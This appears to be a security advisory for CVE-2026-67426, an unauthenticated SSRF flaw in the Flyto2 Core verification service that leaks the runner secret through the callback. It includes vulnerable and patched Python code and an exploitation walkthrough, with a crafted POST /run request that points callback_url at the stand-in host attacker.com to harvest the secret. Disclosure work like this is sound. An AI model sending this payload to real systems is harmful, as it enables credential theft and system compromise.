CVE-2026-67426: Unauthenticated Remote Code Execution and Secret Exfiltration in Flyto2 Core

The standalone flyto-verification service is a component of the Flyto2 Core platform designed to manage and verify execution workflows for AI agents and automation systems. To coordinate activities, the verification engine exposes an API endpoint to receive execution commands. By default, this service listens on TCP port 8344 and binds to all network interfaces (0.0.0.0), exposing the service to external network zones unless explicitly restricted by host-based or network firewalls.

The service defines a POST /run API endpoint to launch verification workflows. This endpoint does not require any form of authentication in versions prior to 2.26.7. This omission creates an exposed attack surface where any network-adjacent or external caller can interact directly with the execution kernel.

Furthermore, the application accepts a client-provided callback URL parameter within the request body. Upon completing the execution task, the runner performs an outbound HTTP POST request to this callback URL to return execution state evidence. Crucially, the outgoing request includes the plaintext token FLYTO_RUNNER_SECRET in its custom headers. This combination of behaviors results in missing authentication (CWE-306), Server-Side Request Forgery (CWE-918), and insufficient protection of sensitive credentials (CWE-522).

The root cause of CVE-2026-67426 lies within the implementation of the run route and the subsequent post_callback helper function inside src/core/verification_service.py. The FastAPI application routing configuration lacks dependency injections or security barriers to validate the identity of the incoming HTTP request. This design assumes that the port 8344 is only accessible to trusted internal components, which is invalidated by the default network binding configuration.

When a request is submitted to the /run endpoint, the server parses the payload into a VerificationRunRequest schema. This schema includes the callback_url parameter, which is stored without sanitization or validation. The execution framework starts the validation process in the background and schedules the post_callback asynchronous function to run upon task completion.

Inside post_callback, the server instantiates an aiohttp.ClientSession and prepares to send the execution evidence. To authenticate itself to the primary engine, the runner fetches the local environment variables FLYTO_RUNNER_SECRET or FLYTO_VERIFICATION_SECRET. It appends the retrieved token value as the X-Internal-Key HTTP header. Because the application does not verify if the destination host in callback_url belongs to an authorized domain or internal IP block, it transmits this sensitive secret directly to the user-specified network destination.

In vulnerable versions, the application defined the endpoint without any access controls. The snippet below highlights the original lack of validation and the subsequent patch introduced in commit 0a0a528520ec18f5a21f1ddf858a71cc1edfb6e9:

# VULNERABLE IMPLEMENTATION
@app.post("/run")
async def run(body: VerificationRunRequest):
    execution_id = f"verification-{uuid.uuid4().hex[:12]}"
    queued = VerificationRunRequest(**body.model_dump())
    # Directly starts execution without verification...

The corresponding unpatched outgoing callback routine did not perform destination checking before dispatching the sensitive header:

# VULNERABLE CALLBACK ROUTINE
async def post_callback(callback_url: str, payload: Mapping[str, Any]) -> None:
    if not callback_url:
        return
    headers = {"Content-Type": "application/json"}
    internal_key = os.environ.get("FLYTO_RUNNER_SECRET") or os.environ.get("FLYTO_VERIFICATION_SECRET")
    if internal_key:
        headers["X-Internal-Key"] = internal_key
    
    async with aiohttp.ClientSession() as session:
        # Sends token to arbitrary callback_url
        async with session.post(callback_url, json=payload, headers=headers) as resp:
            ...

To resolve this, the vendor added an explicit authentication dependency to the endpoint using FastAPI's dependency injection system, enforcing validation of the caller's identity via require_run_auth:

# PATCHED IMPLEMENTATION
def require_run_auth(x_internal_key: str = Header(default="", alias=INTERNAL_KEY_HEADER)):
    expected = (
        os.environ.get("FLYTO_VERIFICATION_API_KEY")
        or os.environ.get("FLYTO_RUNNER_SECRET")
        or os.environ.get("FLYTO_VERIFICATION_SECRET")
    )
    if not expected:
        raise HTTPException(
            status_code=503,
            detail="verification runner auth is not configured; set FLYTO_VERIFICATION_API_KEY",
        )
    if not hmac.compare_digest(x_internal_key or "", expected):
        raise HTTPException(status_code=401, detail="unauthorized")
 
@app.post("/run", dependencies=[Depends(require_run_auth)])
async def run(body: VerificationRunRequest):
    ...

The callback sequence was also fortified by introducing _callback_destination_allowed. This helper validates the callback_url against an environment-defined trusted host set (FLYTO_ENGINE_URL, FLYTO_ENGINE_CALLBACK_URL, and the FLYTO_TRUSTED_CALLBACK_HOSTS allowlist), and aborts execution if the target fails validation:

# PATCHED CALLBACK VALIDATION
async def post_callback(callback_url: str, payload: Mapping[str, Any]) -> None:
    if not callback_url:
        return
    if not _callback_destination_allowed(callback_url):
        return
    # Proceed to transmit payload...

This remediation is highly complete because it closes both vectors: it stops unauthenticated entities from initiating runs, and it restricts the outbound data path, preventing the exfiltration of the runner secret to arbitrary listener hosts.

Exploitation of CVE-2026-67426 requires network connectivity to TCP port 8344 on the target machine. No prior authentication, user interaction, or specific application state is required. The exploit is executed in a multi-step sequence where the attacker sets up an external listener to harvest the token.

First, the attacker starts an HTTP listener on a public IP address (e.g., http://attacker.com/log). Next, the attacker sends a crafted HTTP POST request to the target /run endpoint. The body contains arbitrary parameters for the workflow alongside the callback_url pointing to the attacker's listener:

POST /run HTTP/1.1
Host: target-host:8344
Content-Type: application/json
Content-Length: 174
 
{
    "workflowYaml": "name: dry\nsteps: []\n",
    "params": {"target_url": "https://app.flyto2.com"},
    "allowed_targets": ["https://app.flyto2.com"],
    "callback_url": "http://attacker.com/log"
}

The target runner executes the workflow. Upon completion, the runner initiates an outbound request back to the attacker's server, leaking the credentials:

POST /log HTTP/1.1
Host: attacker.com
Content-Type: application/json
X-Internal-Key: SECRET_VALUE_OF_FLYTO_RUNNER_SECRET

The attacker retrieves the value of X-Internal-Key from the request headers, gaining administrative rights to other core components of the Flyto2 ecosystem.

The security impact of CVE-2026-67426 is rated as critical, yielding a CVSS score of 9.3. The loss of confidentiality is high because the administrative runner secret (FLYTO_RUNNER_SECRET) is fully exfiltrated. With this token, an attacker can authenticate to other internal microservices and core components of Flyto2 Core, potentially achieving complete system compromise.

The impact on integrity is limited (low) because the callback mechanism itself only permits unauthorized workflow invocations. The scope is changed (S:C) because exploitation allows an attacker to pivot from the verification service network layer to other secure backend environments.

Furthermore, this vulnerability must be assessed alongside two adjacent SSRF flaws fixed in version 2.26.7: GHSA-pgwh-4jj4-qm8v (missing SSRF guards in HTTP-emitting modules) and GHSA-c9hr-64h3-gxpc (redirect bypasses via 30x headers). These vulnerabilities allowed attackers to bypass primitive domain validations by issuing redirections to private loopback ranges or metadata endpoints, multiplying the impact of any outbound HTTP-emitting functionality.

Remediation of CVE-2026-67426 requires upgrading flyto-core to version 2.26.7 or higher. To enforce the fix, operators must define the environment variable FLYTO_VERIFICATION_API_KEY. If this variable is absent, the verification runner fails closed and rejects incoming connection attempts on port 8344.

Furthermore, operators must define FLYTO_ENGINE_URL to point to the correct backend host, and can optionally specify a comma-separated list of safe domains in the FLYTO_TRUSTED_CALLBACK_HOSTS environment variable to strictly limit where callbacks can be transmitted.

To limit network exposure, network security policies should be enforced. Port 8344 should be restricted to internal loopback interfaces or tightly bound to private Docker/Kubernetes container subnets. It should never be accessible from the public internet.